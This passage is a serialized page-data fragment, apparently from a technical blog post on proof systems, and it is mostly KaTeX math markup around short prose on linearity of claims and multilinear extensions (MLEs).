6742],[113425,113430],{"type":21,"tag":153,"props":113426,"children":113428},{"className":113427,"style":95830},[6742,24280],[113429],{"type":26,"value":111595},{"type":21,"tag":153,"props":113431,"children":113433},{"className":113432},[6757],[113434],{"type":21,"tag":153,"props":113435,"children":113437},{"className":113436},[6762,24334],[113438,113467],{"type":21,"tag":153,"props":113439,"children":113441},{"className":113440},[6767],[113442,113462],{"type":21,"tag":153,"props":113443,"children":113445},{"className":113444,"style":95873},[6772],[113446],{"type":21,"tag":153,"props":113447,"children":113448},{"style":95877},[113449,113453],{"type":21,"tag":153,"props":113450,"children":113452},{"className":113451,"style":6782},[6781],[],{"type":21,"tag":153,"props":113454,"children":113456},{"className":113455},[6787,6788,6789,6790],[113457],{"type":21,"tag":153,"props":113458,"children":113460},{"className":113459},[6742,24280,6790],[113461],{"type":26,"value":6471},{"type":21,"tag":153,"props":113463,"children":113465},{"className":113464},[24437],[113466],{"type":26,"value":24440},{"type":21,"tag":153,"props":113468,"children":113470},{"className":113469},[6767],[113471],{"type":21,"tag":153,"props":113472,"children":113474},{"className":113473,"style":95427},[6772],[113475],{"type":21,"tag":153,"props":113476,"children":113477},{},[],{"type":21,"tag":153,"props":113479,"children":113481},{"className":113480},[24409],[113482],{"type":26,"value":189},{"type":21,"tag":153,"props":113484,"children":113486},{"className":113485},[6742],[113487,113492],{"type":21,"tag":153,"props":113488,"children":113490},{"className":113489,"style":95344},[6742,24280],[113491],{"type":26,"value":96163},{"type":21,"tag":153,"props":113493,"children":113495},{"className":113494},[6757],[113496],{"type":21,"tag":153,"props":113497,"children":113499},{"className":113498},[6762,24334],[113500,113529],{"type":21,"tag":153,"props":113501,"children":113503},{"className":113502},[6767],[113504,113524],{"type":21,"tag":153,"props":113505,"children":113507},{"className":113506,"style":95873},[6772],[113508],{"type":21,"tag":153,"props":113509,"children":113510},{"style":112343},[113511,113515],{"type":21,"tag":153,"props":113512,"children":113514},{"className":113513,"style":6782},[6781],[],{"type":21,"tag":153,"props":113516,"children":113518},{"className":113517},[6787,6788,6789,6790],[113519],{"type":21,"tag":153,"props":113520,"children":113522},{"className":113521},[6742,24280,6790],[113523],{"type":26,"value":6471},{"type":21,"tag":153,"props":113525,"children":113527},{"className":113526},[24437],[113528],{"type":26,"value":24440},{"type":21,"tag":153,"props":113530,"children":113532},{"className":113531},[6767],[113533],{"type":21,"tag":153,"props":113534,"children":113536},{"className":113535,"style":95427},[6772],[113537],{"type":21,"tag":153,"props":113538,"children":113539},{},[],{"type":21,"tag":153,"props":113541,"children":113543},{"className":113542},[24431],[113544],{"type":26,"value":2071},{"type":21,"tag":153,"props":113546,"children":113548},{"className":113547,"style":6918},[6820],[],{"type":21,"tag":153,"props":113550,"children":113552},{"className":113551},[6923],[113553],{"type":26,"value":2367},{"type":21,"tag":153,"props":113555,"children":113557},{"className":113556,"style":6918},[6820],[],{"type":21,"tag":153,"props":113559,"children":113561},{"className":113560},[6731],[113562,113566,113571,113575,113580],{"type":21,"tag":153,"props":113563,"children":113565},{"className":113564,"style":112499},[6736],[],{"type":21,"tag":153,"props":113567,"children":113569},{"className":113568},[6742,24280],[113570],{"type":26,"value":29},{"type":21,"tag":153,"props":113572,"children":113574},{"className":113573,"style":6821},[6820],[],{"type":21,"tag":153,"props":113576,"children":113578},{"className":113577},[6826],[113579],{"type":26,"value":4099},{"type":21,"tag":153,"props":113581,"children":113583},{"className":113582,"style":6821},[6820],[],{"type":21,"tag":153,"props":113585,"children":113587},{"className":113586},[6731],[113588,113592,113597,113601,113607],{"type":21,"tag":153,"props":113589,"children":113591},{"className":113590,"style":95259},[6736],[],{"type":21,"tag":153,"props":113593,"children":113595},{"className":113594},[6742,24280],[113596],{"type":26,"value":5972},{"type":21,"tag":153,"props":113598,"children":113600},{"className":113599,"style":6821},[6820],[],{"type":21,"tag":153,"props":113602,"children":113604},{"className":113603},[6826],[113605],{"type":26,"value":113606},"⋅",{"type":21,"tag":153,"props":113608,"children":113610},{"className":113609,"style":6821},[6820],[],{"type":21,"tag":153,"props":113612,"children":113614},{"className":113613},[6731],[113615,113619,113676,113680,113685],{"type":21,"tag":153,"props":113616,"children":113618},{"className":113617,"style":112314},[6736],[],{"type":21,"tag":153,"props":113620,"children":113622},{"className":113621},[6742],[113623,113628],{"type":21,"tag":153,"props":113624,"children":113626},{"className":113625,"style":95344},[6742,24280],[113627],{"type":26,"value":96163},{"type":21,"tag":153,"props":113629,"children":113631},{"className":113630},[6757],[113632],{"type":21,"tag":153,"props":113633,"children":113635},{"className":113634},[6762,24334],[113636,113665],{"type":21,"tag":153,"props":113637,"children":113639},{"className":113638},[6767],[113640,113660],{"type":21,"tag":153,"props":113641,"children":113643},{"className":113642,"style":95873},[6772],[113644],{"type":21,"tag":153,"props":113645,"children":113646},{"style":112343},[113647,113651],{"type":21,"tag":153,"props":113648,"children":113650},{"className":113649,"style":6782},[6781],[],{"type":21,"tag":153,"props":113652,"children":113654},{"className":113653},[6787,6788,6789,6790],[113655],{"type":21,"tag":153,"props":113656,"children":113658},{"className":113657},[6742,24280,6790],[113659],{"type":26,"value":6471},{"type":21,"tag":153,"props":113661,"children":113663},{"className":113662},[24437],[113664],{"type":26,"value":24440},{"type":21,"tag":153,"props":113666,"children":113668},{"className":113667},[6767],[113669],{"type":21,"tag":153,"props":113670,"children":113672},{"className":113671,"style":95427},[6772],[113673],{"type":21,"tag":153,"props":113674,"children":113675},{},[],{"type":21,"tag":153,"props":113677,"children":113679},{"className":113678,"style":6918},[6820],[],{"type":21,"tag":153,"props":113681,"children":113683},{"className":113682},[6923],[113684],{"type":26,"value":2367},{"type":21,"tag":153,"props":113686,"children":113688},{"className":113687,"style":6918},[6820],[],{"type":21,"tag":153,"props":113690,"children":113692},{"className":113691},[6731],[113693,113697,113702,113706,113711],{"type":21,"tag":153,"props":113694,"children":113696},{"className":113695,"style":112499},[6736],[],{"type":21,"tag":153,"props":113698,"children":113700},{"className":113699},[6742,24280],[113701],{"type":26,"value":29},{"type":21,"tag":153,"props":113703,"children":113705},{"className":113704,"style":6821},[6820],[],{"type":21,"tag":153,"props":113707,"children":113709},{"className":113708},[6826],[113710],{"type":26,"value":4099},{"type":21,"tag":153,"props":113712,"children":113714},{"className":113713,"style":6821},[6820],[],{"type":21,"tag":153,"props":113716,"children":113718},{"className":113717},[6731],[113719,113723,113728,113799,113803,113808],{"type":21,"tag":153,"props":113720,"children":113722},{"className":113721,"style":6841},[6736],[],{"type":21,"tag":153,"props":113724,"children":113726},{"className":113725},[24409],[113727],{"type":26,"value":189},{"type":21,"tag":153,"props":113729,"children":113731},{"className":113730},[6742],[113732,113737],{"type":21,"tag":153,"props":113733,"children":113735},{"className":113734,"style":95578},[6742,24280],[113736],{"type":26,"value":95581},{"type":21,"tag":153,"props":113738,"children":113740},{"className":113739},[6757],[113741],{"type":21,"tag":153,"props":113742,"children":113744},{"className":113743},[6762,24334],[113745,113788],{"type":21,"tag":153,"props":113746,"children":113748},{"className":113747},[6767],[113749,113783],{"type":21,"tag":153,"props":113750,"children":113752},{"className":113751,"style":95873},[6772],[113753],{"type":21,"tag":153,"props":113754,"children":113755},{"style":112773},[113756,113760],{"type":21,"tag":153,"props":113757,"children":113759},{"className":113758,"style":6782},[6781],[],{"type":21,"tag":153,"props":113761,"children":113763},{"className":113762},[6787,6788,6789,6790],[113764],{"type":21,"tag":153,"props":113765,"children":113767},{"className":113766},[6742,6790],[113768,113773,113778],{"type":21,"tag":153,"props":113769,"children":113771},{"className":113770},[6742,24280,6790],[113772],{"type":26,"value":6471},{"type":21,"tag":153,"props":113774,"children":113776},{"className":113775},[6826,6790],[113777],{"type":26,"value":6801},{"type":21,"tag":153,"props":113779,"children":113781},{"className":113780},[6742,6790],[113782],{"type":26,"value":3033},{"type":21,"tag":153,"props":113784,"children":113786},{"className":113785},[24437],[113787],{"type":26,"value":24440},{"type":21,"tag":153,"props":113789,"children":113791},{"className":113790},[6767],[113792],{"type":21,"tag":153,"props":113793,"children":113795},{"className":113794,"style":112814},[6772],[113796],{"type":21,"tag":153,"props":113797,"children":113798},{},[],{"type":21,"tag":153,"props":113800,"children":113802},{"className":113801,"style":6821},[6820],[],{"type":21,"tag":153,"props":113804,"children":113806},{"className":113805},[6826],[113807],{"type":26,"value":6801},{"type":21,"tag":153,"props":113809,"children":113811},{"className":113810,"style":6821},[6820],[],{"type":21,"tag":153,"props":113813,"children":113815},{"className":113814},[6731],[113816,113820,113825,113830,113835,113839,113844],{"type":21,"tag":153,"props":113817,"children":113819},{"className":113818,"style":6841},[6736],[],{"type":21,"tag":153,"props":113821,"children":113823},{"className":113822},[6742],[113824],{"type":26,"value":5873},{"type":21,"tag":153,"props":113826,"children":113828},{"className":113827},[6742,24280],[113829],{"type":26,"value":29},{"type":21,"tag":153,"props":113831,"children":113833},{"className":113832},[24431],[113834],{"type":26,"value":2071},{"type":21,"tag":153,"props":113836,"children":113838},{"className":113837,"style":6821},[6820],[],{"type":21,"tag":153,"props":113840,"children":113842},{"className":113841},[6826],[113843],{"type":26,"value":113606},{"type":21,"tag":153,"props":113845,"children":113847},{"className":113846,"style":6821},[6820],[],{"type":21,"tag":153,"props":113849,"children":113851},{"className":113850},[6731],[113852,113856,113913,113917,113922],{"type":21,"tag":153,"props":113853,"children":113855},{"className":113854,"style":112314},[6736],[],{"type":21,"tag":153,"props":113857,"children":113859},{"className":113858},[6742],[113860,113865],{"type":21,"tag":153,"props":113861,"children":113863},{"className":113862,"style":95344},[6742,24280],[113864],{"type":26,"value":96163},{"type":21,"tag":153,"props":113866,"children":113868},{"className":113867},[6757],[113869],{"type":21,"tag":153,"props":113870,"children":113872},{"className":113871},[6762,24334],[113873,113902],{"type":21,"tag":153,"props":113874,"children":113876},{"className":113875},[6767],[113877,113897],{"type":21,"tag":153,"props":113878,"children":113880},{"className":113879,"style":95873},[6772],[113881],{"type":21,"tag":153,"props":113882,"children":113883},{"style":112343},[113884,113888],{"type":21,"tag":153,"props":113885,"children":113887},{"className":113886,"style":6782},[6781],[],{"type":21,"tag":153,"props":113889,"children":113891},{"className":113890},[6787,6788,6789,6790],[113892],{"type":21,"tag":153,"props":113893,"children":113895},{"className":113894},[6742,24280,6790],[113896],{"type":26,"value":6471},{"type":21,"tag":153,"props":113898,"children":113900},{"className":113899},[24437],[113901],{"type":26,"value":24440},{"type":21,"tag":153,"props":113903,"children":113905},{"className":113904},[6767],[113906],{"type":21,"tag":153,"props":113907,"children":113909},{"className":113908,"style":95427},[6772],[113910],{"type":21,"tag":153,"props":113911,"children":113912},{},[],{"type":21,"tag":153,"props":113914,"children":113916},{"className":113915,"style":6918},[6820],[],{"type":21,"tag":153,"props":113918,"children":113920},{"className":113919},[6923],[113921],{"type":26,"value":2367},{"type":21,"tag":153,"props":113923,"children":113925},{"className":113924,"style":6918},[6820],[],{"type":21,"tag":153,"props":113927,"children":113929},{"className":113928},[6731],[113930,113934,113939,113944,113949,113953,113958],{"type":21,"tag":153,"props":113931,"children":113933},{"className":113932,"style":6841},[6736],[],{"type":21,"tag":153,"props":113935,"children":113937},{"className":113936},[6742,24280],[113938],{"type":26,"value":29},{"type":21,"tag":153,"props":113940,"children":113942},{"className":113941},[24409],[113943],{"type":26,"value":189},{"type":21,"tag":153,"props":113945,"children":113947},{"className":113946},[6742],[113948],{"type":26,"value":3033},{"type":21,"tag":153,"props":113950,"children":113952},{"className":113951,"style":6821},[6820],[],{"type":21,"tag":153,"props":113954,"children":113956},{"className":113955},[6826],[113957],{"type":26,"value":6801},{"type":21,"tag":153,"props":113959,"children":113961},{"className":113960,"style":6821},[6820],[],{"type":21,"tag":153,"props":113963,"children":113965},{"className":113964},[6731],[113966,113970,113975,114032,114037,114041,114046],{"type":21,"tag":153,"props":113967,"children":113969},{"className":113968,"style":6841},[6736],[],{"type":21,"tag":153,"props":113971,"children":113973},{"className":113972},[6742],[113974],{"type":26,"value":5873},{"type":21,"tag":153,"props":113976,"children":113978},{"className":113977},[6742],[113979,113984],{"type":21,"tag":153,"props":113980,"children":113982},{"className":113981,"style":95344},[6742,24280],[113983],{"type":26,"value":96163},{"type":21,"tag":153,"props":113985,"children":113987},{"className":113986},[6757],[113988],{"type":21,"tag":153,"props":113989,"children":113991},{"className":113990},[6762,24334],[113992,114021],{"type":21,"tag":153,"props":113993,"children":113995},{"className":113994},[6767],[113996,114016],{"type":21,"tag":153,"props":113997,"children":113999},{"className":113998,"style":95873},[6772],[114000],{"type":21,"tag":153,"props":114001,"children":114002},{"style":112343},[114003,114007],{"type":21,"tag":153,"props":114004,"children":114006},{"className":114005,"style":6782},[6781],[],{"type":21,"tag":153,"props":114008,"children":114010},{"className":114009},[6787,6788,6789,6790],[114011],{"type":21,"tag":153,"props":114012,"children":114014},{"className":114013},[6742,24280,6790],[114015],{"type":26,"value":6471},{"type":21,"tag":153,"props":114017,"children":114019},{"className":114018},[24437],[114020],{"type":26,"value":24440},{"type":21,"tag":153,"props":114022,"children":114024},{"className":114023},[6767],[114025],{"type":21,"tag":153,"props":114026,"children":114028},{"className":114027,"style":95427},[6772],[114029],{"type":21,"tag":153,"props":114030,"children":114031},{},[],{"type":21,"tag":153,"props":114033,"children":114035},{"className":114034},[24431],[114036],{"type":26,"value":2071},{"type":21,"tag":153,"props":114038,"children":114040},{"className":114039,"style":6821},[6820],[],{"type":21,"tag":153,"props":114042,"children":114044},{"className":114043},[6826],[114045],{"type":26,"value":4099},{"type":21,"tag":153,"props":114047,"children":114049},{"className":114048,"style":6821},[6820],[],{"type":21,"tag":153,"props":114051,"children":114053},{"className":114052},[6731],[114054,114058,114129,114133,114138],{"type":21,"tag":153,"props":114055,"children":114057},{"className":114056,"style":112744},[6736],[],{"type":21,"tag":153,"props":114059,"children":114061},{"className":114060},[6742],[114062,114067],{"type":21,"tag":153,"props":114063,"children":114065},{"className":114064,"style":95578},[6742,24280],[114066],{"type":26,"value":95581},{"type":21,"tag":153,"props":114068,"children":114070},{"className":114069},[6757],[114071],{"type":21,"tag":153,"props":114072,"children":114074},{"className":114073},[6762,24334],[114075,114118],{"type":21,"tag":153,"props":114076,"children":114078},{"className":114077},[6767],[114079,114113],{"type":21,"tag":153,"props":114080,"children":114082},{"className":114081,"style":95873},[6772],[114083],{"type":21,"tag":153,"props":114084,"children":114085},{"style":112773},[114086,114090],{"type":21,"tag":153,"props":114087,"children":114089},{"className":114088,"style":6782},[6781],[],{"type":21,"tag":153,"props":114091,"children":114093},{"className":114092},[6787,6788,6789,6790],[114094],{"type":21,"tag":153,"props":114095,"children":114097},{"className":114096},[6742,6790],[114098,114103,114108],{"type":21,"tag":153,"props":114099,"children":114101},{"className":114100},[6742,24280,6790],[114102],{"type":26,"value":6471},{"type":21,"tag":153,"props":114104,"children":114106},{"className":114105},[6826,6790],[114107],{"type":26,"value":6801},{"type":21,"tag":153,"props":114109,"children":114111},{"className":114110},[6742,6790],[114112],{"type":26,"value":3033},{"type":21,"tag":153,"props":114114,"children":114116},{"className":114115},[24437],[114117],{"type":26,"value":24440},{"type":21,"tag":153,"props":114119,"children":114121},{"className":114120},[6767],[114122],{"type":21,"tag":153,"props":114123,"children":114125},{"className":114124,"style":112814},[6772],[114126],{"type":21,"tag":153,"props":114127,"children":114128},{},[],{"type":21,"tag":153,"props":114130,"children":114132},{"className":114131,"style":6821},[6820],[],{"type":21,"tag":153,"props":114134,"children":114136},{"className":114135},[6826],[114137],{"type":26,"value":113606},{"type":21,"tag":153,"props":114139,"children":114141},{"className":114140,"style":6821},[6820],[],{"type":21,"tag":153,"props":114143,"children":114145},{"className":114144},[6731],[114146,114150],{"type":21,"tag":153,"props":114147,"children":114149},{"className":114148,"style":112314},[6736],[],{"type":21,"tag":153,"props":114151,"children":114153},{"className":114152},[6742],[114154,114159],{"type":21,"tag":153,"props":114155,"children":114157},{"className":114156,"style":95344},[6742,24280],[114158],{"type":26,"value":96163},{"type":21,"tag":153,"props":114160,"children":114162},{"className":114161},[6757],[114163],{"type":21,"tag":153,"props":114164,"children":114166},{"className":114165},[6762,24334],[114167,114196],{"type":21,"tag":153,"props":114168,"children":114170},{"className":114169},[6767],[114171,114191],{"type":21,"tag":153,"props":114172,"children":114174},{"className":114173,"style":95873},[6772],[114175],{"type":21,"tag":153,"props":114176,"children":114177},{"style":112343},[114178,114182],{"type":21,"tag":153,"props":114179,"children":114181},{"className":114180,"style":6782},[6781],[],{"type":21,"tag":153,"props":114183,"children":114185},{"className":114184},[6787,6788,6789,6790],[114186],{"type":21,"tag":153,"props":114187,"children":114189},{"className":114188},[6742,24280,6790],[114190],{"type":26,"value":6471},{"type":21,"tag":153,"props":114192,"children":114194},{"className":114193},[24437],[114195],{"type":26,"value":24440},{"type":21,"tag":153,"props":114197,"children":114199},{"className":114198},[6767],[114200],{"type":21,"tag":153,"props":114201,"children":114203},{"className":114202,"style":95427},[6772],[114204],{"type":21,"tag":153,"props":114205,"children":114206},{},[],{"type":21,"tag":22,"props":114208,"children":114209},{},[114210,114211,114307,114309,114334,114336,114361],{"type":26,"value":48425},{"type":21,"tag":8055,"props":114212,"children":114213},{},[114214,114216],{"type":26,"value":114215},"linear in ",{"type":21,"tag":78,"props":114217,"children":114219},{"className":114218},[6715,6716],[114220],{"type":21,"tag":153,"props":114221,"children":114223},{"className":114222},[6721],[114224],{"type":21,"tag":153,"props":114225,"children":114227},{"className":114226,"ariaHidden":3294},[6726],[114228],{"type":21,"tag":153,"props":114229,"children":114231},{"className":114230},[6731],[114232,114236],{"type":21,"tag":153,"props":114233,"children":114235},{"className":114234,"style":112744},[6736],[],{"type":21,"tag":153,"props":114237,"children":114239},{"className":114238},[6742],[114240,114245],{"type":21,"tag":153,"props":114241,"children":114243},{"className":114242,"style":95578},[6742,24280],[114244],{"type":26,"value":95581},{"type":21,"tag":153,"props":114246,"children":114248},{"className":114247},[6757],[114249],{"type":21,"tag":153,"props":114250,"children":114252},{"className":114251},[6762,24334],[114253,114296],{"type":21,"tag":153,"props":114254,"children":114256},{"className":114255},[6767],[114257,114291],{"type":21,"tag":153,"props":114258,"children":114260},{"className":114259,"style":95873},[6772],[114261],{"type":21,"tag":153,"props":114262,"children":114263},{"style":112773},[114264,114268],{"type":21,"tag":153,"props":114265,"children":114267},{"className":114266,"style":6782},[6781],[],{"type":21,"tag":153,"props":114269,"children":114271},{"className":114270},[6787,6788,6789,6790],[114272],{"type":21,"tag":153,"props":114273,"children":114275},{"className":114274},[6742,6790],[114276,114281,114286],{"type":21,"tag":153,"props":114277,"children":114279},{"className":114278},[6742,24280,6790],[114280],{"type":26,"value":6471},{"type":21,"tag":153,"props":114282,"children":114284},{"className":114283},[6826,6790],[114285],{"type":26,"value":6801},{"type":21,"tag":153,"props":114287,"children":114289},{"className":114288},[6742,6790],[114290],{"type":26,"value":3033},{"type":21,"tag":153,"props":114292,"children":114294},{"className":114293},[24437],[114295],{"type":26,"value":24440},{"type":21,"tag":153,"props":114297,"children":114299},{"className":114298},[6767],[114300],{"type":21,"tag":153,"props":114301,"children":114303},{"className":114302,"style":112814},[6772],[114304],{"type":21,"tag":153,"props":114305,"children":114306},{},[],{"type":26,"value":114308},"! By induction, the final claim is linear in the original ",{"type":21,"tag":78,"props":114310,"children":114312},{"className":114311},[6715,6716],[114313],{"type":21,"tag":153,"props":114314,"children":114316},{"className":114315},[6721],[114317],{"type":21,"tag":153,"props":114318,"children":114320},{"className":114319,"ariaHidden":3294},[6726],[114321],{"type":21,"tag":153,"props":114322,"children":114324},{"className":114323},[6731],[114325,114329],{"type":21,"tag":153,"props":114326,"children":114328},{"className":114327,"style":24275},[6736],[],{"type":21,"tag":153,"props":114330,"children":114332},{"className":114331,"style":95578},[6742,24280],[114333],{"type":26,"value":95581},{"type":26,"value":114335},". If ",{"type":21,"tag":78,"props":114337,"children":114339},{"className":114338},[6715,6716],[114340],{"type":21,"tag":153,"props":114341,"children":114343},{"className":114342},[6721],[114344],{"type":21,"tag":153,"props":114345,"children":114347},{"className":114346,"ariaHidden":3294},[6726],[114348],{"type":21,"tag":153,"props":114349,"children":114351},{"className":114350},[6731],[114352,114356],{"type":21,"tag":153,"props":114353,"children":114355},{"className":114354,"style":24275},[6736],[],{"type":21,"tag":153,"props":114357,"children":114359},{"className":114358,"style":95578},[6742,24280],[114360],{"type":26,"value":95581},{"type":26,"value":114362}," isn't in the transcript, we can solve for it.",{"type":21,"tag":114,"props":114364,"children":114366},{"id":114365},"multilinear-extensions-mles",[114367],{"type":26,"value":114368},"Multilinear Extensions (MLEs)",{"type":21,"tag":22,"props":114370,"children":114371},{},[114372,114374,114459],{"type":26,"value":114373},"An MLE is just the polynomial view of a table over ",{"type":21,"tag":78,"props":114375,"children":114377},{"className":114376},[6715,6716],[114378],{"type":21,"tag":153,"props":114379,"children":114381},{"className":114380},[6721],[114382],{"type":21,"tag":153,"props":114383,"children":114385},{"className":114384,"ariaHidden":3294},[6726],[114386],{"type":21,"tag":153,"props":114387,"children":114389},{"className":114388},[6731],[114390,114394,114399,114404,114409,114413,114418],{"type":21,"tag":153,"props":114391,"children":114393},{"className":114392,"style":6841},[6736],[],{"type":21,"tag":153,"props":114395,"children":114397},{"className":114396},[24409],[114398],{"type":26,"value":78915},{"type":21,"tag":153,"props":114400,"children":114402},{"className":114401},[6742],[114403],{"type":26,"value":2996},{"type":21,"tag":153,"props":114405,"children":114407},{"className":114406},[6852],[114408],{"type":26,"value":6855},{"type":21,"tag":153,"props":114410,"children":114412},{"className":114411,"style":6859},[6820],[],{"type":21,"tag":153,"props":114414,"children":114416},{"className":114415},[6742],[114417],{"type":26,"value":3033},{"type":21,"tag":153,"props":114419,"children":114421},{"className":114420},[24431],[114422,114427],{"type":21,"tag":153,"props":114423,"children":114425},{"className":114424},[24431],[114426],{"type":26,"value":36834},{"type":21,"tag":153,"props":114428,"children":114430},{"className":114429},[6757],[114431],{"type":21,"tag":153,"props":114432,"children":114434},{"className":114433},[6762],[114435],{"type":21,"tag":153,"props":114436,"children":114438},{"className":114437},[6767],[114439],{"type":21,"tag":153,"props":114440,"children":114442},{"className":114441,"style":111061},[6772],[114443],{"type":21,"tag":153,"props":114444,"children":114445},{"style":6776},[114446,114450],{"type":21,"tag":153,"props":114447,"children":114449},{"className":114448,"style":6782},[6781],[],{"type":21,"tag":153,"props":114451,"children":114453},{"className":114452},[6787,6788,6789,6790],[114454],{"type":21,"tag":153,"props":114455,"children":114457},{"className":114456},[6742,24280,6790],[114458],{"type":26,"value":58695},{"type":26,"value":114460},": it matches the table on Boolean points and extends it to field points.",{"type":21,"tag":22,"props":114462,"children":114463},{},[114464],{"type":26,"value":114465},"For this post, the only property you need is:",{"type":21,"tag":22,"props":114467,"children":114468},{},[114469],{"type":21,"tag":78,"props":114470,"children":114472},{"className":114471},[6715,6716],[114473],{"type":21,"tag":153,"props":114474,"children":114476},{"className":114475},[6721],[114477],{"type":21,"tag":153,"props":114478,"children":114480},{"className":114479,"ariaHidden":3294},[6726],[114481,114643,114915],{"type":21,"tag":153,"props":114482,"children":114484},{"className":114483},[6731],[114485,114490,114559,114564,114625,114630,114634,114639],{"type":21,"tag":153,"props":114486,"children":114489},{"className":114487,"style":114488},[6736],"height:1.1813em;vertical-align:-0.25em;",[],{"type":21,"tag":153,"props":114491,"children":114494},{"className":114492},[6742,114493],"accent",[114495],{"type":21,"tag":153,"props":114496,"children":114498},{"className":114497},[6762,24334],[114499,114547],{"type":21,"tag":153,"props":114500,"children":114502},{"className":114501},[6767],[114503,114542],{"type":21,"tag":153,"props":114504,"children":114507},{"className":114505,"style":114506},[6772],"height:0.9313em;",[114508,114522],{"type":21,"tag":153,"props":114509,"children":114511},{"style":114510},"top:-3em;",[114512,114517],{"type":21,"tag":153,"props":114513,"children":114516},{"className":114514,"style":114515},[6781],"height:3em;",[],{"type":21,"tag":153,"props":114518,"children":114520},{"className":114519,"style":97698},[6742,24280],[114521],{"type":26,"value":35778},{"type":21,"tag":153,"props":114523,"children":114525},{"style":114524},"top:-3.6134em;",[114526,114530],{"type":21,"tag":153,"props":114527,"children":114529},{"className":114528,"style":114515},[6781],[],{"type":21,"tag":153,"props":114531,"children":114535},{"className":114532,"style":114534},[114533],"accent-body","left:-0.0833em;",[114536],{"type":21,"tag":153,"props":114537,"children":114539},{"className":114538},[6742],[114540],{"type":26,"value":114541},"~",{"type":21,"tag":153,"props":114543,"children":114545},{"className":114544},[24437],[114546],{"type":26,"value":24440},{"type":21,"tag":153,"props":114548,"children":114550},{"className":114549},[6767],[114551],{"type":21,"tag":153,"props":114552,"children":114555},{"className":114553,"style":114554},[6772],"height:0.1944em;",[114556],{"type":21,"tag":153,"props":114557,"children":114558},{},[],{"type":21,"tag":153,"props":114560,"children":114562},{"className":114561},[24409],[114563],{"type":26,"value":189},{"type":21,"tag":153,"props":114565,"children":114567},{"className":114566},[6742,114493],[114568],{"type":21,"tag":153,"props":114569,"children":114571},{"className":114570},[6762],[114572],{"type":21,"tag":153,"props":114573,"children":114575},{"className":114574},[6767],[114576],{"type":21,"tag":153,"props":114577,"children":114580},{"className":114578,"style":114579},[6772],"height:0.714em;",[114581,114593],{"type":21,"tag":153,"props":114582,"children":114583},{"style":114510},[114584,114588],{"type":21,"tag":153,"props":114585,"children":114587},{"className":114586,"style":114515},[6781],[],{"type":21,"tag":153,"props":114589,"children":114591},{"className":114590,"style":95344},[6742,24280],[114592],{"type":26,"value":96163},{"type":21,"tag":153,"props":114594,"children":114595},{"style":114510},[114596,114600],{"type":21,"tag":153,"props":114597,"children":114599},{"className":114598,"style":114515},[6781],[],{"type":21,"tag":153,"props":114601,"children":114604},{"className":114602,"style":114603},[114533],"left:-0.1799em;",[114605],{"type":21,"tag":153,"props":114606,"children":114610},{"className":114607,"style":114609},[114608],"overlay","height:0.714em;width:0.471em;",[114611],{"type":21,"tag":36967,"props":114612,"children":114619},{"xmlns":114613,"width":114614,"height":114615,"style":114616,"viewBox":114617,"preserveAspectRatio":114618},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[114620],{"type":21,"tag":114621,"props":114622,"children":114624},"path",{"d":114623},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":21,"tag":153,"props":114626,"children":114628},{"className":114627},[24431],[114629],{"type":26,"value":2071},{"type":21,"tag":153,"props":114631,"children":114633},{"className":114632,"style":6918},[6820],[],{"type":21,"tag":153,"props":114635,"children":114637},{"className":114636},[6923],[114638],{"type":26,"value":2367},{"type":21,"tag":153,"props":114640,"children":114642},{"className":114641,"style":6918},[6820],[],{"type":21,"tag":153,"props":114644,"children":114646},{"className":114645},[6731],[114647,114652,114833,114837,114842,114847,114897,114902,114906,114911],{"type":21,"tag":153,"props":114648,"children":114651},{"className":114649,"style":114650},[6736],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":21,"tag":153,"props":114653,"children":114655},{"className":114654},[24316],[114656,114661],{"type":21,"tag":153,"props":114657,"children":114659},{"className":114658,"style":24323},[24316,24321,24322],[114660],{"type":26,"value":111139},{"type":21,"tag":153,"props":114662,"children":114664},{"className":114663},[6757],[114665],{"type":21,"tag":153,"props":114666,"children":114668},{"className":114667},[6762,24334],[114669,114821],{"type":21,"tag":153,"props":114670,"children":114672},{"className":114671},[6767],[114673,114816],{"type":21,"tag":153,"props":114674,"children":114677},{"className":114675,"style":114676},[6772],"height:0.3448em;",[114678],{"type":21,"tag":153,"props":114679,"children":114681},{"style":114680},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[114682,114686],{"type":21,"tag":153,"props":114683,"children":114685},{"className":114684,"style":6782},[6781],[],{"type":21,"tag":153,"props":114687,"children":114689},{"className":114688},[6787,6788,6789,6790],[114690],{"type":21,"tag":153,"props":114691,"children":114693},{"className":114692},[6742,6790],[114694,114748,114753,114758,114763,114768,114773],{"type":21,"tag":153,"props":114695,"children":114697},{"className":114696},[6742,114493,6790],[114698],{"type":21,"tag":153,"props":114699,"children":114701},{"className":114700},[6762],[114702],{"type":21,"tag":153,"props":114703,"children":114705},{"className":114704},[6767],[114706],{"type":21,"tag":153,"props":114707,"children":114710},{"className":114708,"style":114709},[6772],"height:0.9774em;",[114711,114725],{"type":21,"tag":153,"props":114712,"children":114714},{"style":114713},"top:-2.714em;",[114715,114720],{"type":21,"tag":153,"props":114716,"children":114719},{"className":114717,"style":114718},[6781],"height:2.714em;",[],{"type":21,"tag":153,"props":114721,"children":114723},{"className":114722},[6742,24280,6790],[114724],{"type":26,"value":5972},{"type":21,"tag":153,"props":114726,"children":114728},{"style":114727},"top:-2.9774em;",[114729,114733],{"type":21,"tag":153,"props":114730,"children":114732},{"className":114731,"style":114718},[6781],[],{"type":21,"tag":153,"props":114734,"children":114737},{"className":114735,"style":114736},[114533],"left:-0.2355em;",[114738],{"type":21,"tag":153,"props":114739,"children":114741},{"className":114740,"style":114609},[114608,6790],[114742],{"type":21,"tag":36967,"props":114743,"children":114744},{"xmlns":114613,"width":114614,"height":114615,"style":114616,"viewBox":114617,"preserveAspectRatio":114618},[114745],{"type":21,"tag":114621,"props":114746,"children":114747},{"d":114623},[],{"type":21,"tag":153,"props":1